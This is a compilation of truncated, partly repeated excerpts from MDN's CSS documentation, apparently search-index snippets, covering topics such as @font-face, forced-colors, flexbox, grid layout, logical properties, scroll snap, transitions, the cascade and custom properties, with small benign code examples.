... selectors level 4the definition of ':visited' in that specification. working draft no change. selectors level 3the definition of ':visited' in that specification. recommendation no change. css level 2 (revision 1)the definition of ':visited' in that specification. recommendation lifts the restriction to only apply :visited to the <a> element. lets browsers restrict its behavior for privacy reasons. css level 1the definition of ':visited' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopm...
@font-face - CSS: Cascading Style Sheets
bfont.woff2") format("woff2"), url("/fonts/opensans-regular-webfont.woff") format("woff"); } descriptors font-display determines how a font face is displayed based on whether and when it is downloaded and ready to use. font-family specifies a name that will be used as the font face value for font properties. font-stretch a font-stretch value. since firefox 61 (and in other modern browsers) this also accepts two values to specify a range that is supported by a font-face, for example font-stretch: 50% 200%; font-style a font-style value. since firefox 61 (and in other modern browsers) this also accepts two values to specify a range that is supported by a font-face, for example font-style: oblique 20deg 50deg; font-weight a font-weight value. since firefox 61 (and in other mod...
...this also accepts two values to specify a range that is supported by a font-face, for example font-stretch: 50% 200%; font-style a font-style value. since firefox 61 (and in other modern browsers) this also accepts two values to specify a range that is supported by a font-face, for example font-style: oblique 20deg 50deg; font-weight a font-weight value. since firefox 61 (and in other modern browsers) this also accepts two values to specify a range that is supported by a font-face, for example font-weight: 100 400; font-variant a font-variant value. font-feature-settings allows control over advanced typographic features in opentype fonts. font-variation-settings allows low-level control over opentype or truetype font variations, by specifying the four letter axis names of the feature...
...raphic features in opentype fonts. font-variation-settings allows low-level control over opentype or truetype font variations, by specifying the four letter axis names of the features to vary, along with their variation values. src specifies the resource containing the font data. this can be a url to a remote font file location or the name of a font on the user's computer. to provide the browser with a hint as to what format a font resource is — so it can select a suitable one — it is possible to include a format type inside a format() function: src: url(ideal-sans-serif.woff) format("woff"), url(basic-sans-serif.ttf) format("truetype"); the available types are: "woff", "woff2", "truetype", "opentype", "embedded-opentype", and "svg". unicode-range the range of unicode ...
display-mode - CSS: Cascading Style Sheets
the feature query applies regardless of whether a web app manifest is present. ...
...the feature query applies regardless of whether a web app manifest is present. ...
...erent window, its own icon in the application launcher, etc. in this mode, the user agent will exclude ui elements for controlling navigation, but can include other ui elements such as a status bar. minimal-ui minimal-ui the application will look and feel like a standalone application, but will have a minimal set of ui elements for controlling navigation. the elements will vary by browser. browser browser the application opens in a conventional browser tab or new window, depending on the browser and platform. (none) examples @media all and (display-mode: fullscreen) { body { margin: 0; border: 5px solid black; } } specifications specification status comment web app manifestthe definition of 'display-mode' in tha...
forced-colors - CSS: Cascading Style Sheets
the forced-colors css media feature is used to detect if the user agent has enabled a forced colors mode where it enforces a user-chosen limited color palette on the page. note: this feature is not supported by any user agent and its specifics are subject to change. syntax the forced-colors media feature indicates whether or not the browser is currently in forced-colors mode. values none forced colors mode is not active; the page’s colors are not being forced into a limited palette. active indicates that forced colors mode is active. the browser provides the color palette to authors through the css system color keywords and, if appropriate, it triggers the appropriate value of prefers-color-scheme so that authors can adapt the page. usage notes properties affected by forced-c...
...or palette to authors through the css system color keywords and, if appropriate, it triggers the appropriate value of prefers-color-scheme so that authors can adapt the page. usage notes properties affected by forced-color mode in forced colors mode, the values of the following properties are treated as if they have no author-level values specified. that is, user-specified values (if any) or browser-specified values are used instead. color fill stroke text-decoration-color text-emphasis-color border-color outline-color column-rule-color scrollbar-color -webkit-tap-highlight-color box-shadow text-shadow you can use system color keywords with any property other than those listed above, to ensure that the rest of the page integrates with the restricted color palette available ...
...e, to ensure that the rest of the page integrates with the restricted color palette available in forced colors mode. user preferences currently no user agent implements this feature, although various operating systems do support such preferences and if this media query is ever implemented user agents will likely rely on the settings provided by the operating system in use. examples note: no browser currently implements this feature so the following example will not work. this example has an annoying color palette by default. this example does not take advantage of the colors provided by the user agent. html <div class="colors">weird color box</div> css .colors { background-color: red; color: grey; } @media (forced-colors: active) { .colors { background-color: white; ...
Detecting CSS animation support - CSS: Cascading Style Sheets
pfx = domprefixes[ i ]; animationstring = pfx + 'animation'; keyframeprefix = '-' + pfx.tolowercase() + '-'; animation = true; break; } } } for starters we define a few variables. we assume that animation is not supported by setting animation to false. we set the animationstring to animation which is the property we want to set later on. ...
...iables. we assume that animation is not supported by setting animation to false. we set the animationstring to animation which is the property we want to set later on. we create an array of browser prefixes to loop over and we set pfx to an empty string. then we check if the css animation-name property on the style collection for the element specified by the variable elem is set. this means the browser supports css animation without any prefix, which, to date, none of them do. if the browser does not support non-prefixed animation and animation is still false, we iterate over all the possible prefixes, since all the major browsers are currently prefixing this property and changing its name to animationname instead. once this code is finished running, the value of animation will be false if ...
...nstead. once this code is finished running, the value of animation will be false if css animation support isn't available, or it will be true. if it is true then both the animation property name and the keyframe prefix will be the right ones. so if you use a new firefox, the property will be mozanimation and the keyframe prefix -moz- and with chrome it'll be webkitanimation and -webkit-. notice browsers don't make it easy with the switching between camelcase and hyphen-ation. animating using the correct syntax for different browsers now that you know if css animation is supported or not, we can animate. if( animation === false ) { // animate in javascript fallback } else { elem.style[ animationstring ] = 'rotate 1s linear infinite'; var keyframes = '@' + keyframeprefix + 'keyframe...
Using multi-column layouts - CSS: Cascading Style Sheets
</p> <p> duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. </p> <p> excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. </p> </div> css #col { column-count: 2; } result will display the content in two columns (if you're using a multi-column compliant browser): the column-width property sets the minimum desired column width. if column-count is not also set, then the browser will automatically make as many columns as fit in the available width. example 2 html <div id="wid"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exe...
...at. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum </div> css #columns_12 { columns: 12 8em; } result height balancing the css3 column specification requires that the column heights must be balanced: that is, the browser automatically sets the maximum column height so that the heights of the content in each column are approximately equal. firefox does this. however, in some situations it is also useful to set the maximum height of the columns explicitly, and then lay out content starting at the first column and creating as many columns as necessary, possibly overflowing to the right. therefore, if the height i...
...quat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum </div> css #column_gap { column-count: 5; column-gap: 2em; } result graceful degradation the column properties will just be ignored by non-columns-supporting browsers. therefore it's relatively easy to create a layout that will display in a single column in those browsers and use multiple columns in supporting browsers. conclusion css3 columns are a layout primitive that will help web developers make the best use of screen real estate. imaginative developers may find many uses for them, especially with the automatic height balancing feature. ...
Basic concepts of flexbox - CSS: Cascading Style Sheets
ticle gives an outline of the main features of flexbox, which we will be exploring in more detail in the rest of these guides. when we describe flexbox as being one dimensional we are describing the fact that flexbox deals with layout in one dimension at a time — either as a row or as a column. this can be contrasted with the two-dimensional model of css grid layout, which controls columns and rows together. the two axes of flexbox when working with flexbox you need to think in terms of two axes — the main axis and the cross axis. the main axis is defined by the flex-direction property, and the cross axis runs perpendicular to it. everything we do with flexbox refers back to these axes, so it is worth understanding how they work from the outset. the main axis the main axis is defined ...
...n. choose column or column-reverse and your main axis will run from the top of the page to the bottom — in the block direction. the cross axis the cross axis runs perpendicular to the main axis, therefore if your flex-direction (main axis) is set to row or row-reverse the cross axis runs down the columns. if your main axis is column or column-reverse then the cross axis runs along the rows. understanding which axis is which is important when we start to look at aligning and justifying flex items; flexbox features properties that align and justify content along one axis or the other. start and end lines another vital area of understanding is how flexbox makes no assumption about the writing mode of the document. in the past, css was heavily weighted towards horizontal and left-...
... the items to grow and fill the space, then we need to have a method of distributing the leftover space between the items. this is what the flex properties that we apply to the items themselves, will do. the flex-basis property the flex-basis is what defines the size of that item in terms of the space it leaves as available space. the initial value of this property is auto — in this case the browser looks to see if the items have a size. in the example above, all of the items have a width of 100 pixels and so this is used as the flex-basis. if the items don’t have a size then the content's size is used as the flex-basis. this is why when we just declare display: flex on the parent to create flex items, the items all move into a row and take only as much space as they need to display the...
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
in this guide i will explain how this works, what it is designed for and what situations really require css grid layout rather than flexbox. making things wrap the initial value of the flex-wrap property is nowrap. ...
...hange the value to visible, you will see the item disappear and the space redistribute between non-collapsed items; the height of the flex container should not change. note: use firefox for the below two examples as chrome and safari treat collapse as hidden. when dealing with multiple-line flex containers however you need to understand that the wrapping is re-done after collapsing. so the browser needs to re-do the wrapping behaviour to account for the new space that the collapsed item has left in the inline direction. this means that items might end up on a different line to the one they started on. in the case of an item being shown and hidden it could well cause the items to end up in a different row. i have created this behaviour in the next live example. you can see how the stret...
...tretching changes row based on the location of the collapsed item. if you add more content to the second item, it changes row once it gets long enough. that top row then only becomes as tall as a single line of text. if this causes a problem for your layout it may require a rethinking of the structure, for example putting each row into a separate flex container in order that they can’t shift rows. the difference between visibility: hidden and display: none when you set an item to display: none in order to hide it, the item is removed from the formatting structure of the page. what this means in practice is that counters ignore it, and things like transitions do not run. using visibility: hidden keeps the box in the formatting structure which is useful in that it still behaves as if it w...
Block and inline layout in normal flow - CSS: Cascading Style Sheets
we will be working in english and therefore a horizontal writing mode. however, everything described should work in the same way if your document is in a vertical writing mode. as defined in the specification, the margins between two block boxes are what creates separation between the elements. we see this with a very simple layout of two paragraphs, to which i have added a border. the default browser stylesheet adds spacing between the paragraphs by way of adding a margin to the top and bottom. if we set margins on the paragraph element to 0 then the borders will touch. by default block elements will consume all of the space in the inline direction, so our paragraphs spread out and get as big as they can inside their containing block. if we give them a width, they will continue to lay...
...ve a top margin of 20px and a bottom margin of 40px. the size of the margin between the paragraphs is 40px as the smaller top margin on the second paragraph has collapsed with the larger bottom margin of the first. you can read more about margin collapsing in our article mastering margin collapsing. note: if you are not sure whether margins are collapsing, check the box model values in your browser devtools. this will give you the actual size of the margin which can help you to identify what is happening. elements participating in an inline formatting context inline elements display one after the other in the direction that sentences run in that particular writing mode. while we don’t tend to think of inline elements as having a box, as with everything in css they do. these inline ...
...nless something changes their display type. this concept of the outer and inner display type is important as this tells us that a container using a layout method such as flexbox (display: flex) and grid layout (display: grid) is still participating in block and inline layout, due to the outer display type of those methods being block. changing the formatting context an element participates in browsers display items as part of a block or inline formatting context in terms of what normally makes sense for that element. for example, a <strong> element is used to highlight a word and displays bold in browsers. it would not generally make sense for that <strong> element to be displayed as a block level element, breaking onto a new line. if you did want all <strong> elements to display as block e...
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
ange how items auto-place. we can use grid-auto-flow: dense which will take items visually out of dom order. we can also position items using line-based placement of grid template areas, without considering their location in the source. the specification includes a section that covers reordering and accessibility. in the introduction to that section are details of what the specification expects browsers to do when the content is visually reordered using grid layout. grid layout gives authors great powers of rearrangement over the document. however, these are not a substitute for correct ordering of the document source. the order property and grid placement do not affect ordering in non-visual media (such as speech). likewise, rearranging grid items visually does not affect the default trave...
... box 1, as it comes first in the source. ...
...ue c27. as a way to start thinking about these issues, as you use css grid layout i would suggest reading flexbox & the keyboard navigation disconnect from léonie watson. also the video of léonie’s presentation from ffconf is helpful to understand more about how screen readers work with the visual representation of things in css. adrian roselli has also posted regarding tab order in various browsers – although this was prior to grid support being fully implemented in firefox. ...
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
ver our items now have names we can use to do so. staying outside of any media queries i am now going to set up the layout for the mobile width. here i am keeping everything in source order, trying to avoid any disconnect between the source and display as described in the guide grid layout and accessibility. i have not defined any column or row tracks but this layout dictates a single column, and rows will be created as needed for each of the items in the implicit grid. .wrapper { display: grid; grid-gap: 20px; grid-template-areas: "header" "nav" "content" "sidebar" "ad" "footer"; } after setting up a mobile layout we will get this single column at all screen sizes, we can now add a media query and redefine our layout for the circumstance of having enough scree...
...ange our layout for different breakpoints. in particular i am changing the location of that ad block, as appropriate in my different column setups. i find this named areas method very helpful at a prototyping stage, it is easy to play around with the location of elements. you could always begin to use grid in this way for prototyping, even if you can’t rely on it fully in production due to the browsers that visit your site. a flexible 12-column layout if you have been working with one of the many frameworks or grid systems you may be accustomed to laying out your site on a 12- or 16-column flexible grid. we can create this type of system using css grid layout. as a simple example, i am creating a 12-column flexible grid that has 12 1fr-unit column tracks, they all have a start line named c...
... the tracks, use the firefox grid inspector. it clearly demonstrates how our items are placed. there are some key differences with how a grid layout works over the grid systems you may have used previously. as you can see, we do not need to add any markup to create a row, grid systems need to do this to stop elements popping up into the row above. with css grid layout, we can place things into rows, with no danger of them rising up into the row above if it is left empty. due to this strict column and row placement we can also easily leave white space in our layout. we also don’t need special classes to pull or push things, to indent them into the grid. all we need to do is specify the start and end line for the item. building a layout using the 12-column system to see how this layout me...
CSS Grid Layout - CSS: Cascading Style Sheets
css grid layout excels at dividing a page into major regions or defining the relationship in terms of size, position, and layer, between parts of a control built from html primitives. like tables, grid layout enables an author to align elements into columns and rows. however, many more layouts are either possible or easier with css grid than they were with tables. for example, a grid container's child elements could position themselves so they actually overlap and layer, similar to css positioned elements. basic example the example below shows a three-column track grid with new rows created at a minimum of 100 pixels and a maximum of auto. items have been placed onto the grid using line-based placement. * {box-sizing: border-box;} .wrapper { max-width: 940px; margin: 0 auto; } .wrap...
... background-color: rgba(233,171,88,.5); padding: 1em; color: #d9480f; } html <div class="wrapper"> <div class="one">one</div> <div class="two">two</div> <div class="three">three</div> <div class="four">four</div> <div class="five">five</div> <div class="six">six</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; grid-auto-rows: minmax(100px, auto); } .one { grid-column: 1 / 3; grid-row: 1; } .two { grid-column: 2 / 4; grid-row: 1 / 3; } .three { grid-column: 1; grid-row: 2 / 5; } .four { grid-column: 3; grid-row: 3; } .five { grid-column: 2; grid-row: 4; } .six { grid-column: 3; grid-row: 4; } reference css properties grid-template-columns grid-template-rows grid-template-areas grid-...
...column: 1 / 3; grid-row: 1; } .two { grid-column: 2 / 4; grid-row: 1 / 3; } .three { grid-column: 1; grid-row: 2 / 5; } .four { grid-column: 3; grid-row: 3; } .five { grid-column: 2; grid-row: 4; } .six { grid-column: 3; grid-row: 4; } reference css properties grid-template-columns grid-template-rows grid-template-areas grid-template grid-auto-columns grid-auto-rows grid-auto-flow grid grid-row-start grid-column-start grid-row-end grid-column-end grid-row grid-column grid-area row-gap column-gap gap css functions repeat() minmax() fit-content() css data types <flex> glossary entries grid grid lines grid tracks grid cell grid area gutters grid axis grid row grid column guides basic concepts of grid layout rel...
Basic concepts of Logical Properties and Values - CSS: Cascading Style Sheets
. the block dimension is the other dimension, and the direction in which blocks — such as paragraphs — display one after the other. in english and arabic these run vertically, whereas in any vertical writing mode these run horizontally. ...
... display one after the other. in english and arabic these run vertically, whereas in any vertical writing mode these run horizontally. the below diagram shows the inline and block directions in a horizontal writing mode: this diagram shows block and inline in a vertical writing mode: browser support logical properties and values can be thought of as a couple of groups in terms of current browser support. some of the properties are essentially mappings from the physical versions, for example inline-size for width or margin-inline-start rather than margin-left. these mapped properties are starting to see good browser support, and if you look at the individual pages for the properties in the reference here on mdn you will see that edge is the only modern browser currently missing these. ...
...rying to decide what to do about the four-value shorthands for logical properties, for example the equivalents to setting four physical properties at once, like margins with the margin property. we would need some kind of modifier if we were to reuse margin for flow-relative properties. if you would like to read the suggestions or comment on them the relevant github issue is #1282. testing for browser support you can test for support of logical properties and values using feature queries. for example you could set a width, test for inline-size and, if it is supported, set the width to auto and the inline-size to the original width value. ...
Logical properties for margins, borders and padding - CSS: Cascading Style Sheets
t value will apply to the start of that dimension, the second to the end. if you only use one value it is applied to both. in a horizontal writing mode this css would apply a 5px margin to the top of the box and a 10px margin to the bottom. .box { margin-block: 5px 10px; } note: the shorthand properties margin-inline and margin-block shipped in firefox 66. as these are new properties check browser support before using. padding examples the mapped padding properties of padding-inline-start, padding-inline-end, padding-block-start, and padding-inline-end can be used instead of their physical counterparts. in the example below i have two boxes, one of which is using physical padding properties and the other logical padding properties. with a writing-mode of horizontal-tb, both boxes sho...
...and padding-block — which allow you to set the padding of the two inline, and two block dimensions, respectively. in a horizontal writing-mode this css would apply 5px of padding to the top of the box and 10px of padding to the bottom: .box { padding-block: 5px 10px; } note: the shorthand properties padding-inline and padding-block shipped in firefox 66. as these are new properties check browser support before using. border examples the border properties are the main reason that logical properties and values seems to have so many properties, as we have the longhands for the color, width, and style of the border on each side of a box, along with the shorthand to set all three at once for each side. as with margin and padding we have a mapped version of each physical property. the de...
...or inline dimension. the below code, in a horizontal writing mode, would give you a 2px green solid border on the top and bottom of the box, and a 4px dotted purple border on the left and right. .box { border-block: 2px solid green; border-inline-width: 4px; border-inline-style: dotted; border-inline-color: rebeccapurple; } note: these two value shorthands shipped in firefox 66, check browser support before using as other browsers may not have implemented them yet. flow relative border-radius properties the specification has fairly recently added flow-relative values for the border-radius longhands. these have not yet been implemented by any browser. the below example, in a horizontal writing-mode, would set the top-right border radius to 1em, the bottom-right to 0, the bottom-le...
Basic concepts of CSS Scroll Snap - CSS: Cascading Style Sheets
dictate the point the scrolling should stop. using scroll-snap-type the scroll-snap-type property needs to know the direction in which scroll snapping happens. this could be x or y, or the logical mappings block or inline. you can also use the keyword both to have scroll snapping work along both axes. you can also pass in the keywords mandatory, or proximity. the mandatory keyword tells the browser whether the content has to snap to a certain point, no matter where the scroll is. the proximity keyword means that it may snap to the point, but does not have to. using mandatory gives a very consistent experience — you know that the browser will always snap to each defined point. this means you can be confident that something you expect to be at the top of the screen will be when scrollin...
...u expect — users may find themselves in the frustrating position of never being able to scroll and view a certain point in the content. therefore, use of mandatory should be carefully considered and only used in situations where you know how much content is on the screen at any one time. the proximity value will only snap to a position when it is close by, the exact distance being left to the browser to decide. in the example below you can change the value between mandatory and proximity to see the effect this has on the scroll experience. using scroll-snap-align the scroll-snap-align property can take a value of start, end, or center — indicating the point the content should snap to in the scroll container. in the below example you can change the value of scroll-snap-align to see how...
... happens. margins on scroll children the scroll-margin property can be set set on child elements, essentially defining an outset from the defined box. this allows for different amounts of space for different child elements, and can be used in conjunction with scroll-padding on the parent. try this in the example below. the scroll-snap-stop property the scroll-snap-stop property tells the browser whether it should snap to each defined snap point — meaning that in our examples above we would stop at the start of each section — or be able to skip past sections. this property has fewer browser implementations than the rest of the specification. it could be helpful in ensuring users see each section of the scroller and don't accidentally zip past them. however it could be problematic i...
Using CSS transitions - CSS: Cascading Style Sheets
ou change the color of an element from white to black, usually the change is instantaneous. with css transitions enabled, changes occur at time intervals that follow an acceleration curve, all of which can be customized. animations that involve transitioning between two states are often called implicit transitions as the states in between the start and final states are implicitly defined by the browser. css transitions let you decide which properties to animate (by listing them explicitly), when the animation will start (by setting a delay), how long the transition will last (by setting a duration), and how the transition will run (by defining a timing function, e.g. linearly or quick at the beginning, slow at the end). which css properties can be transitioned? the web author can define ...
...e set of properties that can be animated is changing as the specification develops. the auto value is often a very complex case. the specification recommends not animating from and to auto. some user agents, like those based on gecko, implement this requirement and others, like those based on webkit, are less strict. using animations with auto may lead to unpredictable results, depending on the browser and its version, and should be avoided. defining transitions css transitions are controlled using the shorthand transition property. this is the best way to configure transitions, as it makes it easier to avoid out of sync parameters, which can be very frustrating to have to spend lots of time debugging in css. you can control the individual components of the transition with the following su...
...rpreted as: div { transition-property: opacity, left; transition-duration: 3s, 5s; } using transitions when highlighting menus a common use of css is to highlight items in a menu as the user hovers the mouse cursor over them. it's easy to use transitions to make the effect even more attractive. before we look at code snippets, you might want to take a look at the live demo (assuming your browser supports transitions). first, we set up the menu using html: <nav> <a href="#">home</a> <a href="#">about</a> <a href="#">contact us</a> <a href="#">links</a> </nav> then we build the css to implement the look and feel of our menu. the relevant portions are shown here: a { color: #fff; background-color: #333; transition: all 1s ease-out; } a:hover, a:focus { color: #333; ...
Introducing the CSS Cascade - CSS: Cascading Style Sheets
Web › CSS › Cascade
ob is to select css declarations in order to determine the correct values for css properties. css declarations originate from different origins: the user-agent stylesheets, the author stylesheets, and the user stylesheets. though style sheets come from these different origins, they overlap in scope; to make this work, the cascade algorithm defines how they interact. ...
...t origins: the user-agent stylesheets, the author stylesheets, and the user stylesheets. though style sheets come from these different origins, they overlap in scope; to make this work, the cascade algorithm defines how they interact. user-agent stylesheets the browser has a basic style sheet that gives a default style to any document. these style sheets are named user-agent stylesheets. some browsers use actual style sheets for this purpose, while others simulate them in code, but the end result is the same. some browsers let users modify the user-agent stylesheet. although some constraints on user-agent stylesheets are set by the html specification, browsers still have a lot of latitude: that means that significant differences exist from one browser to another. to simplify the developmen...
... author stylesheets are the most common type of style sheet. these are style sheets that define styles as part of the design of a given web page or site. the author of the page defines the styles for the document using one or more stylesheets, which define the look and feel of the website — its theme. user stylesheets the user (or reader) of the web site can choose to override styles in many browsers using a custom user stylesheet designed to tailor the experience to the user's wishes. cascading order the cascading algorithm determines how to find the value to apply for each property for each document element. it first filters all the rules from the different sources to keep only the rules that apply to a given element. that means rules whose selector matches the given element and whi...
Card - CSS: Cascading Style Sheets
ottom of the card. when added to a collection of cards, the cards should line up in two dimensions. recipe download this example choices made the card is laid out using css grid layout despite being a single dimensional layout, as it enables the use of content sizing for the grid tracks. ...
...therefore this will fit the content added to it. note: the various elements in separate cards do not align with each other, as each card is an independent grid. the proposed subgrid feature of grid level 2 would give a solution to this issue. ...
...e the content area grow, and other items not grow. this would be a reasonable way to lay out the card, although i have a slight preference for being able to control the tracks from the container rather than needing to add rules to the items. for the overall layout you could use flexbox, however this will result in cards stretching over the final flex row where there are fewer than can fit in the rows above. alternatively you could use css multi-col — this would cause the cards to lay out down the columns, which may or may not be a problem. see the columns recipe for demonstrations of each of these layout methods. accessibility concerns depending on the content of your card there may be things you could, or should do to enhance accessibility. see inclusive components: card by heydon picke...
CSS reference - CSS: Cascading Style Sheets
Web › CSS › Reference
also included is a brief dom-css / cssom reference. basic rule syntax style rule syntax style-rule ::= selectors-list { properties-list } ... where : selectors-list ::= selector[:pseudo-class] [::pseudo-element] [, selectors-list] properties-list ::= [property : value] [; properties-list] see the index of selectors, pseudo-classes, and pseudo-elements below. the syntax for each specified value depends on the data type defined for each specified property. ...
...ntax for each specified value depends on the data type defined for each specified property. style rule examples strong { color: red; } div.menu-bar li:hover > ul { display: block; } for a beginner-level introduction to the syntax of selectors, see our guide on css selectors. be aware that any syntax error in a rule definition invalidates the entire rule. invalid rules are ignored by the browser. note that css rule definitions are entirely (ascii) text-based, whereas dom-css / cssom (the rule management system) is object-based. at-rule syntax as the structure of at-rules varies widely, please see at-rule to find the syntax of the specific one you want. keyword index note: the property names in this index do not include the javascript names where they differ from the css standard n...
...thesisfont-variantfont-variant (@font-face)font-variant-alternatesfont-variant-capsfont-variant-east-asianfont-variant-ligaturesfont-variant-numericfont-variant-positionfont-variation-settingsfont-variation-settings (@font-face)font-weightfont-weight (@font-face)format()fr<frequency><frequency-percentage>:fullscreenggapgrad<gradient>grayscale()gridgrid-areagrid-auto-columnsgrid-auto-flowgrid-auto-rowsgrid-columngrid-column-endgrid-column-startgrid-rowgrid-row-endgrid-row-startgrid-templategrid-template-areasgrid-template-columnsgrid-template-rowshhzhanging-punctuationheightheight (@viewport)@historical-forms:hoverhsl()hsla()hue-rotate()hyphensi<ident><image>image()image-orientationimage-renderingimage-set()@importin:in-range:indeterminateinheritinitialinline-sizeinsetinset()inset-blockinset-bl...
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
ct to retrieve it in a sibling's descendant's rule. the property is only set for the matching selector and its descendants, like any normal css. custom property fallback values using the var() function, you can define multiple fallback values when the given variable is not yet defined; this can be useful when working with custom elements and shadow dom. fallback values aren't used to fix the browser compatibility. if the browser doesn't support css custom properties, the fallback value won't help. it's just a backup for the browser which supports css custom properties to choose a different value if the given variable isn't defined or has an invalid value. the first argument to the function is the name of the custom property to be substituted. the second argument to the function, if provi...
...that of custom properties, allows commas. for example, var(--foo, red, blue) defines a fallback of red, blue — anything between the first comma and the end of the function is considered a fallback value. validity and values the classical css concept of validity, tied to each property, is not very useful in regard to custom properties. when the values of the custom properties are parsed, the browser doesn't know where they will be used, so must, therefore, consider nearly all values as valid. unfortunately, these valid values can be used, via the var() functional notation, in a context where they might not make sense. properties and custom variables can lead to invalid css statements, leading to the new concept of valid at computed time. what happens with invalid variables? when the bro...
...s, leading to the new concept of valid at computed time. what happens with invalid variables? when the browser encounters an invalid var() substitution, the initial or inherited value of the property is used. consider the code snippet below. html <p>this paragraph is initial black.</p> css :root { --text-color: 16px; } p { color: blue; } p { color: var(--text-color); } as expected, the browser substitutes the value of --text-color in place of var(--text-color), but 16px is not a valid property value for color. after substitution, the property doesn’t make any sense. the browser handles this situation in two steps: check if the property color is inheritable. yes, but <p> doesn't have any parent with color property. so move on to the next step. set the value to its default initia...
animation-fill-mode - CSS: Cascading Style Sheets
on-fill-mode> = none | forwards | backwards | both examples you can see the effect of animation-fill-mode in the following example. it demonstrates how, for an animation that runs for an infinite time, you can cause it to remain in its final state rather than reverting to the original state (which is the default). ...
... | forwards | backwards | both examples you can see the effect of animation-fill-mode in the following example. it demonstrates how, for an animation that runs for an infinite time, you can cause it to remain in its final state rather than reverting to the original state (which is the default). ...
... you can see the effect of animation-fill-mode in the following example. it demonstrates how, for an animation that runs for an infinite time, you can cause it to remain in its final state rather than reverting to the original state (which is the default). html <p>move your mouse over the gray box!</p> <div class="demo"> <div class="growsandstays">this grows and stays big.</div> <div class="grows">this just grows.</div> </div> css .demo { border-top: 100px solid #ccc; height: 300px; } @keyframes grow { 0% { font-size: 0; } 100% { font-size: 40px; } } .demo:hover .grows { animation-name: grow; animation-duration: 3s; } .demo:hover .growsandstays { animation-name: grow; animation-duration: 3s; animation-fill-mode: forwards; } see css animations for more examples. ...
aspect-ratio - CSS: Cascading Style Sheets
syntax aspect-ratio: 1 / 1; /* global values */ aspect-ratio: inherit; aspect-ratio: initial; aspect-ratio: unset; values <auto> replaced elements with an intrinsic aspect ratio use that aspect ratio, otherwise the box has no preferred aspect ratio. ...
...ents except inline boxes and internal ruby or table boxesinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | <ratio> examples mapping width and height to aspect-ratio firefox has added an internal aspect-ratio property (in version 69 onwards) that applies to replaced elements and other related elements that accept width and height attributes. this appears in the browser's internal ua stylesheet. chrome is also shipping this feature. in firefox, the internal stylesheet rule looks like this: img, input[type="image"], video, embed, iframe, marquee, object, table { aspect-ratio: attr(width) / attr(height); } specifications specification status comment css box sizing module level 4the definition of 'aspect-ratio' in that specifica...
...his feature. in firefox, the internal stylesheet rule looks like this: img, input[type="image"], video, embed, iframe, marquee, object, table { aspect-ratio: attr(width) / attr(height); } specifications specification status comment css box sizing module level 4the definition of 'aspect-ratio' in that specification. editor's draft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaspect-ratio experimenta...
border-collapse - CSS: Cascading Style Sheets
collapse adjacent cells have shared borders (the collapsed-border table rendering model). separate adjacent cells have distinct borders (the separated-border table rendering model). ...
...nct borders (the separated-border table rendering model). ...
...></tr> <tr><td class="ed">edge</td> <td class="tr">edgehtml</td></tr> <tr><td class="sa">safari</td> <td class="wk">webkit</td></tr> <tr><td class="ch">chrome</td> <td class="bk">blink</td></tr> <tr><td class="op">opera</td> <td class="bk">blink</td></tr> </tbody> </table> <table class="collapse"> <caption><code>border-collapse: collapse</code></caption> <tbody> <tr><th>browser</th> <th>layout engine</th></tr> <tr><td class="fx">firefox</td> <td class="gk">gecko</td></tr> <tr><td class="ed">edge</td> <td class="tr">edgehtml</td></tr> <tr><td class="sa">safari</td> <td class="wk">webkit</td></tr> <tr><td class="ch">chrome</td> <td class="bk">blink</td></tr> <tr><td class="op">opera</td> <td class="bk">blink</td></tr> </tbody> </table> css .colla...
box-align - CSS: Cascading Style Sheets
Web › CSS › box-align
iv.example > p { /* make children narrower than their parent, so there is room for the box-align */ width: 200px; } </style> </head> <body> <div class="example"> <p>i will be second from the bottom of div.example, centered horizontally.</p> <p>i will be on the bottom of div.example, centered horizontally.</p> </div> </body> </html> specifications not part of any standard. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbox-align deprecatednon-...
...not for use in new websites.deprecated. not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. see also align-items, box-orient, box-direction, box-pack ...
...not for use in new websites.deprecated. not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. see also align-items, box-orient, box-direction, box-pack ...
break-after - CSS: Cascading Style Sheets
avoid-column avoids any column break right after the principal box. column forces a column break right after the principal box. region break values avoid-region avoids any region break right after the principal box. region forces a region break right after the principal box. ...
...therefore the aliasing is to page, rather than the always value in the level 4 spec. ...
...e level 1the definition of 'break-after' in that specification. working draft extends the property to handle region breaks. adds the avoid-region and region keywords. css multi-column layout modulethe definition of 'break-after' in that specification. working draft initial definition. extends the css 2.1 page-break-after property to handle both page and column breaks. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. support in multi-column layout desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung ...
break-before - CSS: Cascading Style Sheets
d-column avoids any column break right before the principal box. column forces a column break right before the principal box. region break values avoid-region avoids any region break right before the principal box. region forces a region break right before the principal box. ...
